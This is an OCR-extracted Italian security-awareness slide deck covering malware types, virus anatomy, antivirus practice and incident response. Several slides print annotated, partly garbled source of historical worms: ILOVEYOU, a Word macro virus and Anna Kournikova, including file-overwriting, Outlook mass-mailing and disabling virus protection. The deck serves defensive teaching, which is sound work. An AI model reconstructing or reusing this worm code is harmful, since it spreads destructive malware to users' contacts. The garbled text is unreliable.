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UE7-D-1

Le fasi dell'azione: anticipare e monitorare, reagire e combattere, ripristinare

UE7-D-2

Gestire la comunicazione interna ed esterna verso i collaboratori, i

fornitori e clienti




Le modalita operative
QUELS SONT LES MODES OPERATOIRES DES CYBERCRIMINELS ?
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Ambiente di sicurezza

GSE: Global Security Environment

LSE: Ambiente di sicurezza locale

ESE: Ambiente di sicurezza elettronico



Area riservata
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Area riservata
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Protezione / armadi di sicurezza - inferriate



Patologia virale

Bomba logica

Logica maligna che si attiva quando vengono
soddisfatte determinate condizioni..

Di solito causano il denial of service o danni alle
risorse del sistema.



Patologia virale

Trojan

Programma che sembra avere una funzione utile,
ma che possiede anche una funzione nascosta e
potenzialmente maliziosa che aggira i
meccanismi di sicurezza, sfruttando talvolta le
autorizzazioni legittime di un‘entita del sistema
che richiama tale programma.



Patologia virale

Programma autoreplicante

Programma in grado di creare copie di se
stesso.



Patologia virale

Virus

E una parte nascosta e autoreplicante di un
programma per computer, che solitamente
implementa una logica dannosa, che si diffonde
infettando, ovvero inserendo una copia di sé stesso
in un altro programma e diventando cosi parte di
esso. Un virus non puo funzionare da solo, ha
bisogno di un programma ospite per attivarsi.



Patologia virale

Ver

Programma in grado di funzionare in modo
indipendente e di diffondere una versione
completa di sé stesso su un‘altra rete. Puo
consumare risorse in modo distruttivo.



1) Funzione di ricerca

Consente di identificare il bersaglio in cui si
riprodurra.

Determina quando deve avvenire la
contaminazione, la riproduzione.

2) Funzione di riproduzione

Parte autoreplicante del codice che

consente al virus di infettare il suo
bersaglio.



Anatomia del virus

2) Funzione riproduttiva

a) Contaminazione di un settore di avvio

(O]



Anatomia del virus

2) Funzione di riproduzione

c) Virus eseguibili

virus con copertura

o

virus senza copertura

T

L L virus




Anatomia del virus

2) Funzione riproduttiva

b) Invio tramite messaggistica




Anatomia del virus

3) Funzione di distruzione

decide quando un'azione deve avvenire e avvia tale
azione. Non sempre distrugge qualcosa.

4) Funzione di camuffamento

Nascondere il virus agli occhi dell'utente e alla
ricerca dell'antivirus. Si parla anche di furtivita.



Zoologia: | LOVE YOU

rem bamk -loveletter(vbe) <i hate go to school>
ispydermail.com /| GRAMMERSoft
On En‘nr Resume Next

Qualunque sia l'errore, si

lemp,eq,ctr,file,vbscopy,

eq="" continua

cir=0

Set [s0 = CreateObject("Scripting.FileSystemObject")

set file = fs0.OpenTextFile(WScript.ScriptFullname,1)

vhscopy=file.ReadAll

main() 10
sub main()

On Error Resume Next

dim wscr,ir

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT _USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft'\Windows Scripting Host\Settings\Timeout" 0,"REG_DWORD"

end if
Set dirwin = fs0.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1) 20

Set dirtemp = fso.GetSpecialFolder(2)

Set ¢ = [so.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKerne132.vbs") . .
c.Copy(dirwin&"\Win32DLL.vbs") <| COpIa del virus
c.Copy(dirsystem&"\LOVE-LETTER-FOR-Y0U. TXT.vbs")

regruns )

html()
spreadtoemail()



Zoologia: | LOVE YOU

On Error Resume Next G0

sub listadriv

Dim d,dc,s
Set de = [s0.Drives

For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Ther

foldemlicdld path&e\) Modifica dei file con estensione:
Next
listadriv = s -VbS (o) Vbe
d h‘ . .
::h fr:}ectﬁles{foldcrspoc] ']S, jSe, ecCcC...

On Error Resume Nexit . .
dim £f1,fc.ext,ap, mircfname,s,bname,mp3 -JPg O |pesg.
set f = fso.GetFolder{folderspec)

set fc = £Files
for each f1 in fc
ext=fzo.GeltExtensionName(f].path)

ext=lcase(ext)
s=lecase(fl name)
il [CA="vbs"] OF |CAl="vba"] hcn
set ap=fso.OpenTextFile(fl. path,2,true) &1
ap.write vhscopy
ap.close

elseif{ext="j8") or {ext="jse") or (ext="css") or [exi="wsh") or (exi="sct") or (ext="hta") then

set ap=fso.OpenTextFile(fl.path,2,true)

ap.write vhscopy

ap.close

bname=Ffso.GetBaseName(fl.path)

set cop=fso.GetFile(fl.path)

cop.copy(folderspeci "\ "&bname&" . vbs")

tso.DeleteFile(f1. path) Eli
elseif{exi="jpg") or (ext="jpeg"} then

set ap=fso.0penTextFile(fl. path,2,true)




Zoologia: | LOVE YOU

if {fso.GetFolderExists{folderspec)) then

msg =0

else

mSﬂ = 1641

end if

fileexist = msg

end function

sub spreadtoemail()
_On_Error Resume Next

dim x,a,ctelists, ctrentries, malead, b regedit regy,regad

set regedit=CreateObject("WScript . Shell®)

sel ﬂllt=¥'u'5crlp[.ﬁl‘enteﬂh]eﬂ['I]utlu-nk .‘-ppliﬂﬂtim"] co ntro I Io del Ia ru brica

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapl.AddressLisis.Count 170

set a=mapl.AddressLists(cirlists)

H=1

regv=regedit. RegRead( "HKEY _CURRENT_USER\Software\Microsof t\WAB\"&a)
=i L}

regv=1

end if

if (int(a.AddressEntries.Count) >int(regv)) then | verifica della presenza di virus

for ctrentries=1 to a.AddressEntries. Count

malead=a. AddressEntries{x) v
T 180

regad= dit. RegRead( "HEEY_CURRENT _USER\Sof tware'\Microsoft\WAB\"&malead

if ad=""} then

set male=out,Createltem({0)
male.Recipients.Add{malead) crea zio he d e I m essaggi (o)
male.Subject = "ILOVEYDU"

male. Body = vherlf&"kindly check the attached LOVELETTER c i nVi atO
male.Attachments, Add( dirsystemé& " \LOVE- LETTER-FOR-YOU. TXT .

male. Send |

regedit. RegWrite "HEEY_CURRENT _USER\Software\Microseft\WAB\"&malead,1,"REG_DWORD"
end if 180




Zoologia: MARKGEN

Private Sub Document_Close()
On Error Resume Next

It Activellocument Savebormal = wdbormat Document Or
ActiveDocument. SaveFormat = wdFormat Template Then

Const exi = "la macro de colombia"

Attivazione solo se il documento Word e chiuso

Dim Dinfec, planinfec As Boolean

Dim Docu, Plan As Object

Dim modulin, contemodu, Ninfec As String
Dim Nume As Integer

Dim Copform As Object

10

Set Docu = ActiveDocument. VBProject. VBComponents.Item(1)
Set Plan = NormalTemplate. VBProject. VBComponents.Item(1)

SaveDoc = ActiveDocument. Saved
Saveplan = NormalTemplate. Saved

Dinfec = Docu.codemodule Find(exi, 1, 1, 40000, 40000)
Plainfec = Plan.codemodule.Find(exi, 1, 1, 40000, 40000)
Ninfec = "2» & " * & Application.UserName & Chr(13) &
wam & v & Application.UserInitials & Chr(13) &
wan g owom & Application.UserAddress & Chr(13) &
IRl & Wwom & Nﬂ“’{} & chr{]j] &
Ll & wom

Options.VirusProtection = False

Nume = Mid(Int(Rnd() * 10), 1, 1)
MNume = Nume
numel = 7

Creazione di una stringa di caratteri

con le infgﬂrmazioni dell'utente

a0



Zoologia: MARKGEN

If Nume = numel Or Plainfec = False Then
If - = True And Plainlec = False

Docu.codemodule.addiromstring Ninfec
conternodu = Docu.codemodule Lines(1, Docu.codemodule. CountOfLines)

Plan.codemodule.addromstring contemodu

End If
If DInfec = False And Plainfec = True Then
Plan.codemodule.addlromstring Ninfec 40

contemodu = Plan.codemodule.Lines(1, Plan.codemodule.CountOfLines)
Docu.codemodule.addiromstring contemodu

" End IT
If SaveDoc = True Then ThisDocument.Save
If SaveDoc = True Then NormalTemplate.Save raccolta di informazioni sulla
End If .
End If vita del documento

sd = Day(Now()} & "-" & Month(Now()) & "-" & Year(Now())
st = Trim(sd) 50
If Year(Now()) >= 2000 And Month{Now()) > 6 Then
ChangeFileOpenDirectory "C:\Windows\"
For i = 1 To 999599991
ActiveDocument.SaveAs FileName:=("AA" & i & "AA.DOC"), FileFormat:= _
wdFormatDocument, LockComments:=False, Password:="", AddToRecentFiles:= _
True, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:= _
False, SaveNativePictureFormat:=False, SaveFormsData:=False, _
SaveAsAOCELetter:=False
Next
End If &0
End Sub



Zoologia: KOURNIKOVA

Anna Kournikova era una tennista molto famosa le
cui foto provocanti venivano scambiate su Internet
(era tra le piu ricercate). Contenevano un virus
omonimo, "Kournikova", che si presentava sotto
forma di immagine allegata a un'e-mail. In realta non
si trattava di un'immagine, ma di uno script scritto in
Visual Basic.



Zoologia: KOURNIKOVA

"Vibs,OnTheFly Created By OnTheFly

On Error Resume Next

Set systeme = CreateObject("WSeript.Shell")

systeme.regwrite "HECU\software\OnTheFly\", "Worm made with Vbswg 1.50b"

Set fichiers= Createobject("scripting.filesystemobject")

fichiers.copvfile wscriptscriptfullname,
fichiers. GetSpecialFolder(0)& "\AnnaKournikova. jpg.vbs"

1o

if systeme.regread ("HECU\software\OnTheFly\mailed") <> "1" then

diffuse()

it il 26 gennaio esegue un
denial of service

sull'indirizzo

if month{now) =1 and day(now) =26 then
sysieme.run "Http://wuw.dynabyte.nl" 3 false
end if
ICTIErvVITus= NCHIers,openiex
codeVirus= fichierVirus.readall
fichierVirus.Close
Do
If Not (fichiers.fileexists{wscript.seriptfullname)) Then
Set fichierVirusReecritSiEfface= fichiers.createtextfile(wscript.scriptfullname, True)
fichierVirusReecritSiEfface. write codeVirus
fichierVirusReecritSiEfface. Close
End If
Loop

le{wseript.senptiullname,


http://www.dynabyte.nl/
http://www.dynabyte.nl/

Zoologia: KOURNIKOVA

Function diffuse() Aprire la rubrica e inviare a
On Error Resume Next e .
Set outlook = CreateObject("0utlock. Application”) tutti il messaggio creato
If outlook= "Dutleck"Then 30

Set messagerie=outlook.GetNameSpace("MAPI")
Set tousCarnetsDAdresses= messagerie. AddressLists
For Each carnetDAdresse In tousCarnetsDAdresses
If carnetDAdresse AddressEntries.Count <> 0 Then
nombreDAdresses = carnetDAdresse AddressEntries. Count
For numeroAdresse= 1 To nombreDAdresses
Set nouveauMessage = outlook.Createltem(0)
Set contact = carnetDAdresse. AddressEntries(numeroAdresse)
nouveauMessage.To = contact.Address
nouveauMessage.Subject = "Here you have, ;o)" 40
nouveauMessage.Body = "Hi:" & vberlf & "Check This!" & vberlf & "~
set piecelointe=nouveauMessage Attachments
piecelointe. Add fichiers.GetSpecialFolder(0)& "\AnnaKournikova. jpg.vbs"
nouveauMessage. DeleteAfterSubmit = True
If nouveauMessage.To <> "" Then
nouveauMessage. Send
systeme.regwrite "HECU\software\OnTheFly\mailed", "1"
End If
Next
End If 50
Next
end if
End Function
Vhswg 1.5



Conficker (Downandup, Kido)

Si diffonde tramite la rete locale o un supporto rimovibile.
Disattiva alcune funzioni del sistema, € in grado di
proteggersi (vedi B) e di aggiornarsi tramite un modulo peer
to peer (vedi C).

Virus informatico. Sfrutta una vulnerabilita di Windows Server
per la quale Microsoft aveva pubblicato una patch.

9.000.000 di postazioni infette.

Numerosi aggiornamenti non erano stati effettuati

Paralisi delle reti.
Infezione di entita.
Ricomparsa del worm per zona

220 milioni di rilevamenti in 30 mesi in tutto il mondo.



| virus

10% Media mondiale deiPC infetti:

La Francia conterebbe 1,8 milioni di‘PC infetti:
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Gli antivirus

Programma in:grado i rilevare la:presenzadivirus
suun:computer e:-di:disinfettarlo.

Sirdistinguono diverse-famiglie-di ‘antivirus:a
seconda del tipo-di‘azione.che svolgono:

ﬂV'El':’- CET
ANTI=VIRUS,
CA DEVRAIT

- Scanner \ eTRE
- Rilevatore di cambiamenti
- Scanner euristico




Gli antivirus

i

Quali difese? 2l AVG |9 omanec
Aladdin®

authentium

- Nonesiste unantivirus wniversale,
@) TReND SOPHOS ©
Glisstrumenti non'possono fare (2/r¢. Antivirus Update

diacsoluzioneimigliore;

rivolgersi-a un utente formato suirrischi dei-virus. =



Gli antivirus

Regole perilutilizzo dell’antivirus:

Tutte lespostazioni-di‘lavoro devono'disporre:diin
uniantivirus @aggiornato e permanente,

- computer collegatiia una rete cccau

aggiornamentornalicre
- @o@ﬁ@m@m%qgﬁ@agl Ize ro
aggiornamento settimanale



Allegati ed e-mail

- Non cliccare sistematicamente sui link inclusi;

- non aprire ifileallegati-senza-averne verificato I'innocuita;

- distruggere, senza aprirli; tuttbimessaggi dirorigine;sconosciuta o
sospetta;

- diffidare degli allegati anche:se provenientida-mittenticchiaramente identificati;
- non inoltrare allegati o file eseguibili(compresi:gli-archiviautoestraenti).

Diffidare«dello scambio di biglietti di auguri
elettronici:
Evitare l'invio a indirizzi di gruppo. La DIRISI

ha implementato controlli sugli allegati su
Intramar.




Regole di igiene

Effettuare backup regolari.

Proteggere dalla scrittura i supporti rimovibili.
Qualsiasi supporto che sia stato collegato a un
sistema esterno all'unita deve essere analizzato su
una stazione bianca (SAS antivirus).

Qualsiasi informazione che transita tra due reti
deve essere analizzata su una camera antivirus.

Attualmente, ogni camera antivirus é integrata in
una rete di SAS CD che ne facilita la gestione e
I'aggiornamento.
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Comportamento da tenere in caso di allarme

Reazione incaso di:-funzionamentoranomalo:o rilevamento:di un
virus:

- Scollegare fisicamente<il.computer;

- Non toccare nullae.non chiudere: le
finestre-informative (pop up),

- avvisare immediatamente il¢proprio ALID e/o il;servizioinformatico.
- Avvisare-gli utenti che-hanno recentemente scambiato file

conda propria postazione/di lavoro.

- Metteredn quarantenad supporti di-archiviazione esternij

- Apporrersul proprio.computer un foglio-che avverte della
possibile infezione.
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